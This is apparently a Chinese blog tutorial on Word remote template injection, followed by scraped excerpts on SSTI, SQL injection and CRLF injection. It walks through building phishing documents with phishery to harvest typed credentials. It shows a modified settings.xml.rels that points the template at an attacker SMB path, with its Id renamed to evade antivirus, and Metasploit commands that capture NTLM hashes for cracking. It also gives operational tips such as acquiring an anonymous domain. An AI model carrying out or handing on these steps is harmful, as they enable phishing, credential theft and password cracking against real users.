Word模板注入攻击

Word模板注入攻击

0x00 工具准备

phishery:https://github.com/ryhanson/phishery/releases

office版本:office 2010

0x01 什么是Word模板注入攻击

Word模板注入攻击就是利用Word文档加载附加模板时的缺陷所发起的恶意请求而达到的攻击目的,所以当目标用户点开攻击者发给他的恶意word文档就可以通过向远程服务器发送恶意请求的方式,来盗取他的各类账号密码

0x02 通过远程模板注入盗取目标的各类普通账号密码

1、创建一个docx格式的word文件作为模板源文件,并编辑好文档内容

2、利用模板源文件(test.docx)生成真正的钓鱼文件

用到的工具为phishery,文档开头已提供下载链接(有多个平台的版本,此处用的linux下,在kali里操作的)

2.1 将test.docx放到工具phishery的目录下

2.2 执行以下命令生成真正的钓鱼文件

 ./phishery -u https://192.168.3.29/pass -i phishery.docx -o getpwd.docx
 # 此处务必要注意,必须用 https 证书,都在当前目录下

2.3 修改生成的钓鱼文件的权限

chmod 777 getpwd.docx

3、启动phishery服务端(模拟web服务器)

phishery会用当前目录下的setting.json文件中的参数和证书作为默认配置,将记录到的账号密码放在credentials.json中

./phishery
cat credentials.json

4、将钓鱼文件getpwd.docx发送给目标

4.1 目标一点开文件就会弹出一个证书警告框,这一步很关键,只要用户选择了"是",我们的钓鱼文件就会自动去连接远程服务器并弹出基础认证钓鱼框,当目标输完账号以后就会被发送到我们自己的 smb 服务器上

4.2 当目标在弹出的登录框输入内容过后,回到攻击者的kali上,发现目标输入的账号密码都已经被记录

0x03 通过远程模板注入盗取目标系统用户密码的ntlm hash

1、修改之前生成的getpwd.docx解压出来的settings.xml.rels文件

1.1 将docx的文件后缀格式改为压缩文件的格式,如zip,然后将文件解压,找到word\_rels文件

1.2 编辑 settings.xml.rels,如下,定位到 Target 参数,将其改为 smb 的请求方式[即 UNC 路径],同时也可以尝试把 id[工具的敏感特征]改掉,以此躲避某些杀软

原来的:

更改的:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1337" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file://192.168.175.137/" Tar getMode="External"/>
</Relationships>

2、修改好之后将之前解压出来的文件全部重新打包,并将后缀名字改回docx

2.1 全部重新打包为zip格式的压缩包

2.2 将打包好的压缩包的后缀更改为docx

3、回到攻击机kali上,打开msf,启动smb监听,将后续收到的hash都存到passwd中

msf > use auxiliary/server/capture/smb
msf > set srvhost 192.168.3.29
msf > set johnpwfile passwd
msf > exploit

4、将制作好的钓鱼文件getpwd发送给目标,当目标打开文件,攻击者便可以获取到他当前系统用户的密码hash

4.1 打开钓鱼文件,目标这里没有任何提示弹窗

4.2 再回到攻击机,发现目标用户系统的hash已经获取到了

4.3 最后,只需要把这些 hash 丢到 hashcat 里去跑就行了

0x05 关于实际利用过程中的一些注意事项

  • 需要一个靠谱的证书
  • 一个靠谱高匿的域名
  • 这种攻击方式的好处在于它并不依赖目标所使用的操作系统,完全依靠 word 自身特性来完成,所以有更强的适应性

0x06 参考来源

《Word 模版注入攻击详细利用过程 》--By Klion

原文地址:https://www.cnblogs.com/ldhbetter/p/10877392.html

时间: 2024-08-30 00:55:43

Word模板注入攻击的相关文章

服务端模板注入(SSTI攻击)

服务端模板注入 1.模板注入原理 和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露.代码执行.GetShell 等问题.其影响范围主要取决于模版引擎的复杂性. <?php require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php'; Twig_Autoloader::register(true); $twig

Java Filter防止sql注入攻击

原理,过滤所有请求中含有非法的字符,例如:, & < select delete 等关键字,黑客可以利用这些字符进行注入攻击,原理是后台实现使用拼接字符串,案例:某个网站的登入验证的SQL查询代码为 strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');" 恶意填入 userName = "'

SQL注入攻击的常见方式及测试方法

本文主要针对SQL注入的含义.以及如何进行SQL注入和如何预防SQL注入让小伙伴有个了解.适用的人群主要是测试人员,了解如何进行SQL注入,可以帮助我们测试登录.发布等模块的SQL攻击漏洞,至于如何预防SQL注入,按理说应该是开发该了解的事情~但是作为一个棒棒的测试,搞清楚原理是不是能让我们更加透彻地理解bug的产生原因呢~好啦,话不多说,进入正题~ 如何理解SQL注入(攻击)? SQL注入是一种将SQL代码添加到输入参数中,传递到服务器解析并执行的一种攻击手法. SQL注入攻击是输入参数未经过

【网络安全】——服务端安全(注入攻击、认证与会话管理和访问控制、访问控制、加密算法与随机数、Web框架安全、应用层拒绝服务攻击DDOS等)

这一篇博客记录的是服务端安全应用安全的知识,学习内容来自<白帽子讲Web安全>. ? 承接自上一篇客户端安全之后,包括注入攻击.认证与会话管理和访问控制.访问控制.加密算法与随机数.Web框架安全.应用层拒绝服务攻击DDOS.Web Server安全等方面. @ 目录 注入攻击 SQL注入 盲注 Timing Attack 数据库攻击技巧 常见的攻击机巧 命令执行 攻击存储过程 编码问题 SQL Column Truncation 正确地防御SQL注入 其他注入攻击 文件上传漏洞 文件上传漏洞

Web脚本攻击之注入攻击

注入攻击的概念和原理 注入漏洞是Web服务器中广泛存在的漏洞类型,其基本原理是Web程序对用户输入请求中包含的非法数据检查过滤不严,使Web程序将用户的异常输入字符当做正常代码执行,从而使用户在未授权的情况下非法获取Web服务器的信息. 利用注入漏洞发起的攻击称为注入攻击,它是Web安全领域最为常见威胁也是最大的攻击,注入攻击包括SQL注入.代码注入.命令注入.LDAP注入.XPath注入等.实现注入攻击要具备两个关键条件,第一是用户能够自主编写输入的数据,第二是Web程序的执行代码被拼接了用户

web前端安全之SQL注入攻击

一.SQL注入攻击的原理攻击者在HTTP请求中注入恶意的SQL代码,并在服务端执行.比如用户登录,输入用户名camille,密码 ' or '1'='1 ,如果此时使用参数构造的方式,就会出现 select * from user where name = 'camille' and password = '' or '1'='1' 不管用户名和密码是什么,查询出来的用户列表都不为空,这样可以随意看其他用户的信息. 二.SQL注入攻击的防御1.客户端 限制字符串输入的长度: 有效性检验. //过

clrf注入攻击

1.clrf 注入攻击. 原理:http数据包通过\r\n\r\n来分开http header何http body 实现:首先这种攻击发生在应用层,且发生在服务器返回给我们的http reponse没有经过敏感字符的过滤,我们能够构造攻击语句来控制服务器的http响应.以下为例子: 1.Twitter的HTTP响应拆分 难度:高 厂商:https://twitter.com/ 报告地址:https://hackerone.com/reports/52042 报告日期:2015年4月21日 奖金:

白帽子讲WEB安全 第七章 注入攻击

一.SQL注入: 1.注入攻击的本质:把用户输入的数据当代码执行. 攻击的关键点:1.用户能够控制输入: 2.原本程序要执行的代码, 2.盲注(Blind Injection):在服务器没有错误回显时完成的注入攻击. 3.时序攻击(Timing Attack):利用BENCHMARK()函数(mysql中用于测试函数性能的函数),可以让同一个函数执行若干次,使得结果返回的时间比平时要长:通过时间长短的变化,可以判断出注入语句是否执行成功.这是一种边信道攻击. 边信道攻击(side channel

【渗透攻防Web篇】SQL注入攻击高级

前言 前面我们学习了如何寻找,确认,利用SQL注入漏洞的技术,本篇文章我将介绍一些更高级的技术,避开过滤,绕开防御.有攻必有防,当然还要来探讨一下SQL注入防御技巧. 目录 第五节 避开过滤方法总结 5.1.大小写变种 5.2.URL编码 5.3.SQL注释 5.4.空字节 5.5.二阶SQL注入 第六节 探讨SQL注入防御技巧 6.1.输入验证 6.2.编码输出 正文 第五节 避开过滤方法总结 Web应用为了防御包括SQL注入在内的攻击,常常使用输入过滤器,这些过滤器可以在应用的代码中,也可以